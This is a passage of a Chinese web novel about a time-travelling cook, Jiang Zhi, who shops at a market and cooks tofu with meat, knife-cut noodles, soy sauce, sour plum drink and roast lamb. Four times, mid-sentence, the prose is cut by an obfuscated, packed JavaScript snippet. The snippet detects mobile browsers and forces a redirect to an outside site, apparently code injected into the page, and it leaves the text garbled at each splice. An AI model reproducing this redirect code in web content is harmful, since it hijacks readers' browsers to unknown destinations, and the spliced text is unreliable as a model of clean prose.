她今儿起了个大早，打算给自己去早市上备上些生活所用的物资，小如牙粉，大如搓澡巾什么。 先前被房东搓揉，原主整个人活得糙的很。在姜芝穿越过来的几天，也因为繁忙而无暇顾及这些。 而现在，她连买菜的事都丢给了那几位自己来蹭饭的，甚至详细到菜谱都写好了。 只见那正堂里偌大的桌面上，摆了张宣纸，上面被姜芝龙飞凤舞地写上了几行大字。 “顾元鸡蛋20个，豆腐六大块” “游义二两肉，在五香店里买上些许孜然” “裴烨三斤精米” 姜芝就不信了，她写的如此清晰明了的清单，这几个还能弄混不成。 于是，她也安下心来，穿了身漂亮的红裙，向着那集市上走去。 女孩惯用的胭脂粉，买！ 可以用来代替牙膏的牙粉，买！ 洗澡用的澡豆，也得买！ 铜制的洗脸盆，怎么也得买一个吧！ 姜芝像只布偶猫般，对这个世界充满好奇，特别是这些她只在博物馆看见过的东西分外的好奇。 所以一不留神，姜芝手上挎着的菜篮子就塞满了各式各样的东西，而且最为关键的一点是， 她这几天赚下来的钱已经快要一扫而光了！ 姜芝有些沉默地叹了一口气，只得往回走去。 但在路上，她又瞧见一家正开业的成衣店，那女老板穿着一身轻纱襦裙，笑盈盈地向她勾了一眼。 姜芝忍不住走了进去。 片刻后，姜芝的篮子上又多了一件折叠整齐的浅绿交领半臂纱裙。 买的原因无他，方才照那青铜镜的时候，在那女老板的夸赞下，姜芝只觉得自已穿这套衣服的时候，简直是面若桃花，腰身芊芊一握，肤色瓷白，如那山间的精灵般。 嗯，绝对是因为这身衣服太好看了！ 绝对不是因为老板说话太好听，姜芝被吹的有点飘飘欲仙了！ 但随着出了那成衣店的门，姜芝又长长的叹了口气，掏了掏那空空如也的口袋： 她现在，彻底，将这两天赚的钱挥霍一空！ 只留了些原主用来压箱底的备用金以备不时之需。 从今天开始，她又要继续奋力努力了！ 边想着，她边走回家。 不出意外，那仨人果然已经把东西买了回来。 姜芝虽心里想着事，但也没懈怠三位金主！ 她今天打算做的是，国宴名菜中最简单的一道，锅塌豆腐！ 更重要的是，它下饭一绝！ 锅塌豆腐这东西难起来比较讲究，但简单起来却分外容易。或者说，它简单起来的名字应该叫做，豆腐夹肉。 难的自不必说，姜芝以前也跟着师傅做过，单是那汤都特别有讲究。姜芝仍然记得，整鸡做吊，鲍鱼打底，肘子提鲜…… 很显然，目前的姜芝打算做的是简易版的，需要的食材自然也很简单：肉，豆腐，还有些佐料，因为姜芝打算做一碗不辣的，再做一碗辣的，供众人食用。 11. 第 11 章 姜芝先取了些花椒粒，拿刀背轻轻碾过再细细地那刀刃砸碎，便得到了一款略显粗糙的花椒粉。 然后又合着刚才捏碎的茱萸粒，姜丁抓了抓，确保其滋味完全融合在一起。 便得到了一款小型辣椒酱。 今日，姜芝打算给自己大金主——顾元同志专门做一碗辣味的锅塌豆腐。 至于剩下的一碗，姜芝打算做成原味，供其他人选择。 姜先取出老豆腐，把方才微微在磨刀石上轻磨了三两下的刀提了起来，直接把老豆腐一分为二。 手起刀落间，老豆腐被锋利的刀刃分成三角形的小块，然后又被姜芝刀一侧，一提，整齐的叠在盘子里。 姜芝又从外头徒手提了一瓢井水来，从侧面在不破坏豆腐形状的情况下，清洗去表面的细渣，然后又挨个沥干水分，轻轻地在豆腐表面撒上薄盐。 这一招叫做杀出水分，目的便就是让豆腐更加紧实，但又不至于老。还有最重重要的一点是，这可以初步的让豆腐表面进些盐。 不然，姜芝一想到这，就忍不住想起：曾经初入从事这一行的时候，师傅刻意不提醒，然后她就这么水灵灵煮了一锅，完全没进盐的豆腐炒肉。 从此，她就记下了这个惨烈的教训。 放盐这一步解决完毕，初步让豆腐表面和内部进盐后，姜芝又要进行下一步了。 她浅浅的铺了一层面粉在桌面上，又把豆腐轻轻的拍上一层面粉，再裹上一层打好的鸡蛋浆，再拍上一层面粉，这样来回滚了三两次，就这样，这豆腐也算是上了一层浆。 豆腐算是做好了，接下来开始处理肉馅了。 古代的猪肉向来腥骚，在卤水里还可以强行用香料掩盖，可锅塌豆腐用的是肉馅，这本应是个大难题。 奈何，姜芝山人自有妙计。 只见她转头拿了一个小碗，把姜葱蒜末共同丢在小碗里面，然后用那个勺子碾了碾，再加了些井水，这便是第一步， ——葱姜蒜水去腥！ 这一步还远远不够压下古代没有阉割的猪肉，那么姜芝还有第二种办法。 她提锅，烧了一小碗的水，然后往里面倒入花椒粒，丁香，等水煮沸了，再倒入葱姜蒜水中混合起来，这便是第二步， ——香辛料水压腥！ 这两步下来，姜芝肉眼可见地愈发神采奕奕：拜托，她可是曾经的中华小吃宣传者呢！ 以前天天跑国外去出去宣传的时候，处理那臭不可闻的骚猪肉的时候，她受过多少苦呢！ 今儿也算是苦尽甘来了！ 把这香辛料水和入肉馅时，姜芝不忘少吃多量的加入，让肉馅慢慢地把这水一点点吃了进去。 姜芝一边在心里还有些叹息，要想肉更加鲜嫩，少量多次加水还远远不够，最好能加点冰块水。 奈何这个时代的这里没得那么好制冰，虽姜芝也曾经初步在网上学过硝冰治法，但是为了个肉制上几天的冰，还是超出了姜芝的想法的。 等到整整一小碗的香辛料水都被肉馅吃的一干二净的时候，这个肉算是初步的压好了味。 这时候挑出每一块薄薄的豆腐，在上面摁上一层同等厚度的肉馅，然后肉馅朝上豆腐朝下的摆在盘子里。 趁着这个时候肉馅没掉，姜芝眼疾手快地开锅烧火，加入了一层铺满锅底的油后，肉朝下地让被油煎得肉馅“滋啦滋啦”地作响。 姜芝一块一块地向锅里摆好了，所有都摆上去的一瞬间，一阵属于肉馅的焦香味不经地从锅底与那肉馅接触处的地方蔓延了开来，飘到了姜芝的鼻息间，勾得她也忍不住一时间愣了神。 然后又随着一阵风，飘到了巷子里里外外。 直弄得巷子里外那些端着饭或者吃着粉的人家们一个喷嚏间嗅到了，瞬间感觉手上的食物食之无味了。 更别提，趁早买好食材乖乖的在外面坐上一排等待着的那一，二，三，四人。 小麻花照旧在那读着书，自从姜芝把她的实情暗戳戳地向游义背地里隐晦地吐露了一点后，游义看他亲妹简直像是宝藏。 裴烨悄悄向姜芝吐露过，游义向来不是个科考的料子，他奈何家里总得有人走这条出路，父母双亲常年催的紧，如今竟然看到了个新希望，不捧的像宝贝一样？ 小麻花手上拿到了不少他亲哥送的新书，自然也手不释卷的很。 顾元这个时候本在院子里耍武健身，一杆红缨枪耍的威风凛凛。 一闻到这香味，她干脆连那杆红缨枪都没放下，直提着枪大跨步地坐在堂间，眼睛则眼巴巴的望着厨房上菜口。 游义一早买完菜便在正堂前板板正正的坐好了，边面上怀着诡异笑容的盯着自家亲妹。 等到姜芝急匆匆地从外面挎着篮子归来，他便笑着迎上去，奈何当时姜芝正处于一种购物完的空虚，根本没理他。 他也笑着继续踱步回到了自己的位置上，继续跟同样无所事事的裴烨唠嗑。 * 当这股香味飘逸出来之前，游义已经咸的发慌到跟裴烨唠嗑到了姜老板今早买回来的那条裙子。 不过转眼间又被这股香味吸引了注意，用力一嗅，喃喃道： “这味道，菽乳？” 菽乳便是豆腐的古称，取菽这个所有豆类的统称，后面跟个乳，类似于今天的豆腐脑的称法。 游义这话还没落地，后头一个巴掌直接轻敲了一下他脑袋。 游义摸着后脑勺看过去，只见后头那人明显神游一方，却仍然浅白了他一眼的神态。 裴烨心里还在思量着姜芝穿那身新买回来的衣服的模样，嘴上却答道。 “游大愣子，那分明是辣制的豕肉，你忘了？姜姑娘曾给我们做过吃的！” “菽乳！” “豕肉！” “菽乳！” “豕肉！” …… 两人争执声不休，小麻花习以为常地抬头，看了一眼，然后又低下头来，静静地在翻了一页书。 * 豆腐的那一肉馅面依然都烤成了褐色的焦香。 趁这个时候，姜芝手腕一晃，将那锅轻轻往上一提，豆腐面立即与锅面分离了开来。 那雪白的豆腐面也顺理成章地被姜芝翻到了锅底，与那油滋啦滋啦的开始接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178979|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触起来。 当豆腐面也发出更加浓郁的焦香的时候，姜芝便知道，这豆腐算是初步煎好了。 她一瞧，那锅里的余油也尽数被豆腐吸收的一干二净之时，便知应该下一步了。 只见她打起一碗清水，然后又挑起一勺大酱，在清水里细细搅拌开来之后，把那碗大酱水沿着锅沿一圈细细却又有条不紊地倾洒了一圈。 一瞬间，锅里咕噜咕噜的沸声响了起来，香味也趁机蔓延出来。 姜芝又趁此机会，轻抖着手上的盐勺，均匀的在豆腐面上轻轻的撒上了一层薄盐。再一把葱花下去。 起锅，收汁！ 添上一碗作原味，再留下一碗在锅里，加入方才制的辣酱，小火煮上一滚，便是那辛辣味的锅塌豆腐。 今日早点的菜，就算是大功告成了！ * 至于主食吃什么，姜芝心里早有了算盘。 她刚才在洒水之前，已经备好了半盆的面粉，并浅浅的撒了半勺盐进去。 又取了些开水壶里烧的沸腾的开水与外头凉水混合成的温水，一点一点浇了进去，就这样面多了加水，水多了加面，把面粉揉成面团后又盖上一块湿布，蒙在那面团上。 在这些都做完之后，姜芝方才继续去做豆腐。 而现在，则到了接收成果的时候。 姜芝一揭开那湿布，那面团变得肉眼可见地光滑了起来，整个面团也变大了不少。 这一步，叫醒面。一旦不醒面，便会使之后的刀削过程难上加难。 是的，姜芝打算做的正是那刀削面，主要因为其便利快捷，合着那锅塌豆腐，最是能暖人肠胃，添饱口腹之欲！ 面团也发好了，接下来便是刀削面最至关重要的一步——刀削。 刀削，刀削，正是刀削面能做到意于其他的师傅手下工夫。 好的刀削面，薄厚一致的同时还要尽量做到中间厚边缘薄，其次还要煮得筋道入味…… 总之，一碗好的刀削面，考验的从来不是食材，而是厨子的手下功夫。 很巧，姜芝就爱如此炫技。 只见她从刀案上挑起一把长短适宜的刀，磨了磨刃，确认其足够锋利后就开始开刀了。 她一手托着那面团，一手持着那把锋利的刀，向着面团边缘削去—— 第一刀，一块小的刀削面便顺着刀的方向想着锅里那已经滚开的沸水处滚动了下去。 第二刀，第三刀……姜芝看也没看前一刀的下场，似乎早有预料了一般，就一个劲的加快着手上速度。 没办法，姜芝心里如明镜般清楚：自己稍微削慢了几刀，要么前面煮烂，要么后面煮不熟。这也是刀削面最后的一个难点，手要快！ * 煮到暂且平息下的水面又咕噜咕噜的冒着泡来，边缘微微透明的面片也跟随着沸水在水面上左右漂浮的时候，姜芝就知道： 这面算是煮好了！ 她将这面直接乘在那两盆的锅塌豆腐底下，仍随那汤汁浸润到面里去后，便一手一盆地双手拎了出去。 一出灶房门，四双嗷嗷待哺的嘴便就已经等着吃了！ 12. 第 12 章 裴烨眯着眼打量了下姜芝手上端着的盘子，两盘子之间看上去表面都差不多，只有颜色略微不同：一盘的颜色偏红褐，另一盘的颜色则偏浅褐色。 上面的汤汁更是晶莹剔透的挂在菜肴上。至于这菜肴是什么？ 反正裴烨是越看越觉得像菽乳！ 于是他趾高气扬的昂着头，向着一旁叫嚷着“豕肉”的游义白了一眼后，就提起箸子，向着那盘上面挂着浅褐色汤汁的菜肴“磨刀霍霍”！ 至于另一盘， 哼！裴烨一闻就知道，那一碗铁定辣的够呛！ * 另一边，顾元真真切切的两眼放光了！ 姜老板真的太好了： 这辣，这香，这小滋味，都无需动用舌尖味蕾，光是风一吹鼻一嗅，就足以让顾元胃口大开地咽唾沫了！ 她毫不犹豫，精准提手，一箸入口： 豆腐远比她想象的还要嫩的很多，于是手上力度一个没控制好，豆腐被她那快准狠的力度夹上了两截，露出里面雪白的内芯。 没等她多加观察，手上下意识的动作已经把箸上的菜肴递进了嘴里，然后，一口便美味得顾元舍不得张开嘴来。 入口的第一口，先是辣味呛入喉咙，让吃不了辣的人一口后悔，直想大呼救命！却让顾元这种最爱刺激的吃辣人氏一时间幸福得眯起眼来。 顾元为什么喜欢吃辣？不就是喜欢这种热流一路涌到嗓子尖，让人忍不住大口哈气以缓解那股压也压不住的刺激感嘛！ 眼下，顾元眯着眼睛，像一只正在享受的大猫。这如同昨天晚上一般的辣味，再一次唤醒了顾元的刺激感，而她最为不过享受这种刺激感了！ 舌尖绵延的辣味逐渐在大口哈气中缓下来之后，豆腐与肉馅的本味也伴随着裹着的酱汁在舌尖的蔓延一点点散了开来。 大豆酱的卤香味，还有没有散开的余辣味，和着被煎得焦香扑鼻的肉馅，还有背面那白嫩却也微微煎出了焦皮的豆腐，多种口味不断在舌尖齿中搓揉，相互配合又相互碰撞，两个字形容， “绝了”！ 顾元又勺了一口汤汁和那里面褒携着的刀削面，细细品味了起来。 刀削面切的不大，估摸着只有一两个手指左右的长，但宽厚恰好适宜，薄一点容易断，再厚一点也没那么入味。配着上面挂的汁…… 顾元已经无以用其他来形容，一边怀疑着“自己平时吃的难不成是白水不成”，一边飞速的嚼吧嚼吧着下肚了。 除了小麻花和姜芝，其他人甚至一碗都不太够，大抵是生怕没抢到，这次的众人甚至都没有坐下来，便直接一边吸溜吸溜的吃着面条，一边飞速下箸，都快在菜肴上方打起硝烟来。 姜芝也吃了一小碗，她向来细嚼慢咽，吃的很慢，于是再一抬头之后，那整整两大碗包括汤汁都已空空如也之时，她不禁有些惊诧地抬头望了众人一眼：再次发现自己小看着众人的饭量。 而众人也不与她对视：游义憨憨摸了摸脑袋，咧嘴一笑。顾元干脆埋头在碗里继续咕噜咕噜，直接果断的避免对视。裴烨则侧过头去，看似优雅地侧身吃面，但一看碗底—— 霍，那吃的速度简直是风卷残云！ 小麻花则向来吃的文静，一边细细的抿着口里的汤汁与面条，一边微微歪着脑袋瞧着众人的狼吞虎咽的模样，并暗戳戳的拉了拉姜芝的衣袖，在她看过来的时候小声地嘟囔了一句。 “这么饿嘛？” 姜芝也被这一声逗乐了，也浅浅的笑开了。 * 吃过早点，众人也打算各回各家了。 姜芝给小麻花稍微布置了些《天工开物》的作业后，便计划好了今天的行程：她打算借着今早买回来的那瓶豆酱，去制一些酱油。 原因无他，她在现代便是个酱油脑袋，尽管在这个时代豆酱也算是一个勉强的替代品。但姜芝怎么用着怎么不带劲，还是打算借豆酱去制些酱油做备用。 制酱油，本身的话，如果从泡黄豆开始，确实不算容易。 但奈何，姜芝手头上已经有了半成品——大豆酱，那剩下的步骤就不算太难了。 她先从橱窗里翻找到一个不要的布袋子，先把布袋子装到个两手掌大的缸子里，然后把一罐豆酱倒扣在布袋子里，最后再拿一块略比缸子小些的洗净石块压到那布袋子上。 等豆酱慢慢的往外面渗出的液体之时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178980|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜芝就知道：初步的酱油，就算是做好了。 她用力一嗅，果然是她在现代厨房里常闻见的那股酱油味。 不过，目前这制作，还不算完。 等到整个缸子里头的底都被布袋子里大豆酱渗透出的初步酱油微微覆盖以后，姜芝又上手微微一摁，确定差不多渗透干净后，便把布袋子捞了起来，左右手反复把残留的酱油挤了干净后，便放到一旁备用了。 这渣看上去黑乎乎的，散发着浓烈的味道。但实际上，姜芝可知道，这东西作用大了去了。 比如，拿盐水浸泡这渣足够的时间，便就可以又提出了相较于正常酱油微淡的生抽。 姜芝一边这么心里想着，一边手上也马不停蹄的做了起来。她就打算用着酱油渣待会儿中午做道菜！ 不过眼下，那初步的酱油还没处理完。 她将那压出来的初步酱油一股脑倒入了锅里，在灶下点起火来。 火苗舔烧着锅底，姜芝看着时候，又添了几分柴进去，一瞬间，火势都涨汪了几分。 没烧多久，那初始的酱油就已经被烧得咕噜咕噜的冒起泡来，从冒小泡到冒大泡。 期间，姜芝还在一边谨慎的盯着柴火，火势太小的时候添两根，火势太旺的时候抽两根出来。 加热煮沸这一步主要是为了杀菌，古代可没什么防腐剂，添加剂之类的，虽然说大家吃的都是纯天然无添加，但如果想保存的久一些，还是要通过杀菌的方式。 而最便捷的杀菌，对于液体而言，便是煮沸！ 其次嘛，姜芝还有点小心思。她边捞着锅沿边煮沸而产生的浮沫子，一边想： 只有经过加工的酱油才最好吃嘛！ 捞完浮沫子后，她又拿了些橘皮，丁香以及些花椒，一齐洗净丢入酱油锅中，为多种的香味和风味也献出了一份力！ 这一步做完，等到酱油再一次煮开了，酱油也算是初步处理完了！ 姜芝又翻箱倒柜出了一个干净的玻璃罐，将酱油一股脑地从锅里倒了出来并且趁热密封起来！ 这两天她打算先用豆渣来做菜的佐料。那做出来的酱油就可以先密封静置几天，保质期也更长一些！ 13. 今日第二更 姜芝制完酱油，只微微把灶台面收拾了干净，把那酱油放到阴凉处收好，又把那豆渣那袋子扎的紧紧后放在温凉的盐水中泡着，便累得又瘫到在床上。 她今早说不忙，倒也确实忙的飞起，赶了集，逛了街，买了衣裳，做了饭，打扫了卫生，还顺手制了些酱油。 还加上昨晚本来就没怎么睡好的，姜芝便愉快的决定，在这慵懒的上午，给自已先来个补觉自由！ * 一觉睡得，姜芝那叫一个浑身舒畅！ 一觉睡醒，她坐起身来，伸了个懒腰，只觉得浑身心都轻松了起来。 心情一好，姜芝又开始捣鼓那些吃的喝的了！ 她一瞧堂屋，乐了：顾元大概是回她自己家继续耍武去了；裴烨游义两人大抵是闲屋子里面过于无聊，组队出去溜马找乐子去了！ 于是，空荡荡的堂屋里，居然只剩下小麻花还在一心一意地埋头翻书，一边写着毛笔字。 姜芝发着呆，忽然眼前一亮。 干脆做个乌梅汤解暑，给小姑娘提神好了！ 反正做起来又快又便捷！ 姜芝先是跑出去向邻居大婶掏钱买上了一小筐乌梅。 说起来，这钱还是当时游义拜托姜芝照顾小麻花的时候给的，如今也算是物归原主了。 姜芝一边这么想着，把钱递给了邻居大婶，换来了一整筐正在季节的乌黑透亮的乌梅！ 然后姜芝便把那乌梅放到了那水瓢中，加上少许盐，用手细细的清洗起来！ 等清洗完毕，姜芝又把那一汪乌黑发亮的乌梅端了出来，晾干控水。 这时候，她又让小麻花放下书，带上姜芝在集市上特意给她买的小钱袋，去那城中央的医郎铺子里，买些甘草，山楂，以及□□糖。 为了防止小麻花忘记，姜芝还特意掰着手指带她细数了一遍，又颇为不放心地给她写了张小单子，将其就放在钱袋子里，又温声细语地跟小姑娘讲一番。 看到那个小小的背影慢吞吞地向目的地挪去的时候，姜芝总算是回过神来，不禁有些哑然的一笑。 她怎么真把人家家里的小姑娘当自家孩子养了？ 下意识地，教她与人接触，培养她从容淡定，改掉她的坏习惯…… 把自己曾经成长中没得到的一切全部都一点一点教给这个小朋友，分明自己也是摸爬滚打出来的…… 想着想着，姜芝轻轻叹了一口气： 也罢了，就当是教教那未曾在社会上摸爬滚打过的自己吧！ 她轻轻去洗了个手，然后又翻开小麻花方才正在读的那本《天工开物》，轻轻向前翻了几页，打算检查一下她在睡前给小麻花布置的功课：去认熟那几页的所有字并能够初步的给大家讲一讲书里说了啥。 谁料，刚一翻开小麻花暗扣在桌子上的书，一张本就夹的不是很紧的书页便随着动作的起伏飘了下来，直落到地上。 姜芝低下身子，用手把那张书页捏了起来，再一瞧，又真真切切的笑出了声。 在姜芝偶尔的指导以及小姑娘自身的用功下，小麻花如今已经会写些简单的大字了，虽然没有姜芝自己写的飘逸灵活，但胜在有种初学者的稚嫩和工整。 她就用这样的笔触，在那张半掉未掉的书页上写着“氵工女子！” 姜芝随便一猜，就大概能猜到，这小家伙大概是想过来夸夸她自己，所以才在这张书页上奋苦地练着字。 谁料“姜”字大概率被小姑娘误会成了更加好写的“江”字，而更加难写一些的“芝”字则直接被小姑娘选择性放弃，所以就凑出来了这一二三四个字。 看得姜芝忍不住心里好笑，但也更加有些对小麻花怜爱上了。 她轻悄悄的把那一页书页给小麻花又收了回原处，并心里微微下定决心： 今天的任务呢，还得再多加一条，把“姜”“芝”两个字，先学会再说！ * 等小麻花一手提着药袋子一手推开大门之时，迎面过来便是姜芝那格外温柔的目光，吓得小麻花一懵，下意识开始回想自己有没有做过坏事。 姜芝边接下了那小麻花拎得紧紧的小药袋，边还温声细语地问了几句价钱，大概心里有数后，便摸了摸小麻花毛茸茸的小脑袋，打发她继续去温习功课了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178981|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 姜芝则自己打开了那小药袋，看了一下里头那五六片如手指长短的甘草，还有另一旁用油纸裹住的山楂干和□□糖。姜芝都挨个打开数了数，确认小麻花确实没被坑后，方才浅浅一笑着，拎着小药袋进了厨房。 酸梅汤好做，至少对于姜芝来说如此！ 前置条件只有一个，先挑个未沾过油荤的锅。 这也是姜芝做饮料类的经验之谈，通俗些就是，最近不能炒过菜的，容易串味儿。 到时候搁酸梅汤里出点儿炒饭味儿，饶是姜芝也会绷不住的！ 还真别说，姜芝曾经前世带过的徒弟还真有干出这种活的：拿炖过猪蹄子的汤锅搁那儿做百香果柠檬茶，成品出来以后姜芝都拯救不了，险些两眼一黑！ 一边心里漫无目的的随想着，姜芝都忍不住被曾经的回忆逗笑了，随之又有些感伤…… 虽然心里想法漂浮不定，但手上动作，姜芝可不算慢。 只见她先把乌梅，山楂放在盆里，用流动的净水洗去表面的灰尘，又细细的用手抠去缝隙里的灰尘，最后再把山楂，乌梅都去了中间的壳，就算是初步处理干净了。 然后，按照甘草在最底下，乌梅满满的铺上一大层，然后再放山楂，顶上再放上□□糖的顺序，姜芝挨个把这些食材摞到了药罐里，又加入了没过冰糖的水。 就算是初步大功告成了。 这药罐是前些年游家买给小麻花的，小麻花一听姜芝的诉求，三下五除二就给她找出来了，此时用在此处也刚好合适。几年过去，药渣味已散，但又过过火，正是最合适的时候。 姜芝双手捧着，将那装的满满当当的药罐轻轻地提到了火上，巨大的火舌一舔，底下便咕噜噜开始冒出泡来。 姜芝先不断加柴，火势不断加大，便成了沸火。 这也是姜芝经验所在，但凡是煮汤汁类的东西，最先开始往往用沸火先煮到沸腾，然后再逐步减火，让其慢慢入味。 等到那酸梅汤的汤色已经微微发乌，小而密集的气泡从锅底向锅沿蔓延开来，姜芝就知道，这酸梅汤算是煮沸了，但远没到煮好的程度。 14. 第 14 章 当把酸梅汤煮沸了以后，姜芝勾下身子，弯着腰，从那底下燃得沸沸扬扬的火中抽出了几根烧得正烈的柴。 这方才把火候压小。 酸梅汤煮沸了以后，就要转成小火慢慢的煎，原因有二，一是节省木柴，二则也不能把汤汁全部煮干。 等到水色渐渐被煮成乌梅色的时候，姜芝就知道，这锅酸梅汤算是煮好了大半，她又细细的把蜂蜜拿着筷子搅和了下去，被热水一烫，很快就化开了。 又让它咕噜咕噜了几分钟，姜芝挑了个小勺，挽起了一勺，呼呼的吹了几口气，确认吹凉了以后，她便递到了嘴边一尝： 嗯，果真就是那个酸酸甜甜的味！ 姜芝拿了个大碗，把一整罐都倒了进去！ 要姜芝说，酸梅汤还是冰的最好吃！ 不仅酸甜可口，还清凉解暑，一口喝下去感觉整个人身心都一并凉了下去。 越想下去，姜芝越是忍不住滋吧了下嘴，然后她低头一瞧这还滚滚冒着热气的酸梅汤，无端叹了口气。 不过嘛，这热酸梅汤，还真的有受众！ 先给小朋友喝嘛！ 毕竟学那么久了，好歹得歇歇眼睛和脑子，别把眼睛脑子学坏了。 姜芝一边向专属于小麻花的那个小盆中倒了半碗，一边心里无端想道，并免不了为自己这想法有些发笑。 * 小麻花别的不说，就是听话。 姜芝给她双手捧来一碗，她问也不问一声，就杵着那双黑白分明的眼看了一眼，便咕噜咕噜直接上嘴大口喝了下去。 瞧着这景象，姜芝那蠢蠢欲动的手又想捏捏这乖小孩的脸蛋了，真的太乖了！ 想当年，她为了威逼利诱小孩喝点中药，十八门功夫齐齐上阵，都免不住那鬼哭狼嚎般的嗓音，最后被迫放弃！ 要是是小麻花…… 姜芝不由得陷入一阵畅想中。 小麻花则不知道姜芝这个坏姐姐已经把主意打到哪去了！ 她正在埋头苦喝中。 姜芝虽然在倒的时候就有意控制了分量，但对于小麻花来说，这一小盆也不少了。 但，小麻花喝得很带劲！ 她那小小的嘴巴微微张大，咕噜咕噜往喉咙里头咽。 原因无他，在小麻花喝过的素来寡淡如白水的饮品中，今日新喝到的这一款已经算是颇有滋味的了！ 虽然乌梅的酸涩，小麻花虽然从前不善言辞，但也颇有体会。 或者说，整个城里就没几个人不知道这乌梅子的酸涩。 但，姜芝把这种酸涩煮化到水里，悄然无息的化解了那从树上摘下来还带着的些涩味，而且让酸味也变淡了不少。再加上蜂蜜的中和，喝起来只剩些浓烈的酸甜可口！ 这可比小麻花这还没到十年的人生中喝过的所有的都带劲多了！ 再加上读书也读了个上午，小麻花也难免有些累了渴了，便一股脑的咕噜咕噜把那酸梅汤下肚了。 于是，等到姜芝从漫无目的的发呆中惊醒之时，小麻花的肚皮罕见的都被撑的有些鼓。 姜芝随便向下一扫的时候，被小麻花这毫不节制的吓了一跳。 她忙蹲下身来，一手帮小麻花轻柔地按压我的揉着肚皮，一边颇有点好笑跟她嘟嘟囔囔着些什么“以后会多给她做些，平儿莫撑着”之类的话语。 * 经这一遭，姜芝倒是敏锐察觉了一个商机。 小麻花平日在吃姜芝做出的饭菜时，虽说也会爱吃，但远不至于今天这种有点迷得上瘾的状态。 这个朝代开发出来的美食不少，但是开发出的饮品确实稀少。顾此，姜芝第一次开发的柠檬水大生意就直接大卖特卖。 姜芝思索着，或许，之后的地摊生意，或许可以更加偏向于这方面？ 不过，先管不了那些太多，姜芝决定，先做个中餐再说！ 中餐做些什么好呢！姜芝拧眉思考了一会儿，最终决定，给自己犒劳一番。 正巧酸梅汤也到位了，做个纯肉食犒劳一下自己！还能顺便拿酸梅汤解腻，一举两得！ 家里人头也走了个干净，姜芝也不得不提上钱包，出去买菜！ 佐料什么的，家里基本上多多少少还是备了些。 所以主要负责买纯的肉食，以及什么胡葱之类的配料。肉食的话，猪肉前两天吃过；鸡肉也差不多；牛的话绝大概率吃不到，古人向来信奉这些的，不像现代人速来口无忌惮； 所以，姜芝最后大概瞄定了两个目标，一个是羊肉，一个是鸭肉。 在集市上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178982|180863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逛了一圈，姜芝成功发现，她只剩下了一个选择，集市上今儿竟然出奇地没有鸭肉卖！ 所以，只能吃羊肉了！不过想着那现代的烤羊肉串滋味，姜芝也默默的吞了口唾沫。 还是老样子的，姜芝找着那肉肆行的大哥，温声细语间竟也让那大哥便宜了些。 姜芝让那大哥割了只羊腿，现场处理了一番，还是按老惯例拿绳子绑好，便拎着回去了。 回家路上，姜芝还不忘买上些土豆，胡葱什么的，不为别的，就为到时候炙烧那羊肉更添上几分风味！ 是的，虽然还没到家，但姜芝已然初步定下来了今儿中餐的方针——烤羊肉！ 没办法，虽然说对于羊肉来说，清蒸或者炖汤也是颇好的选择。 但，姜芝唯爱烤着吃！ 那种羊油被火舌煎出香气，就是姜芝最迷这道菜的地方！ 边这样脑补着，姜芝不禁的都有些咽了口唾沫，同时心里暗下了个决心，日后一定要买只羊，做个烤全羊吃吃，解解馋！ 羊腿买回来的时候已经让肉肆行那位大哥帮忙处理完了。姜芝提回来一看，果然被处理了干干净净。 于是便可以开始第一步，开花刀。 烤羊腿嘛，最重要的莫过于入味！入味最重要的物理一步便是，开这花刀。 花刀在羊腿上开多了，且不说火候一个不对，就容易里头不熟外头焦掉；就单说风味都不会多好，毕竟密锁在羊肉里头的汁水都被你烤出来了，不发焦才怪呢。 而花刀开少了，那更是不美妙， ——根本入不了味。 所以嘛，这开始腌制的第一步花刀，看似没讲究，实则也细细的讲究的不行。 好在姜芝经验确实不错，她先是大概拿手指比划了一遍，便直接悍然下刀。 等到切完，姜芝在那刀口吹了口气，颇为满意的笑了笑。 她随意一比画，果然，每一道花刀之间的间隔大概正好两指节左右！ 切完花刀，自然要开始准备腌制了。 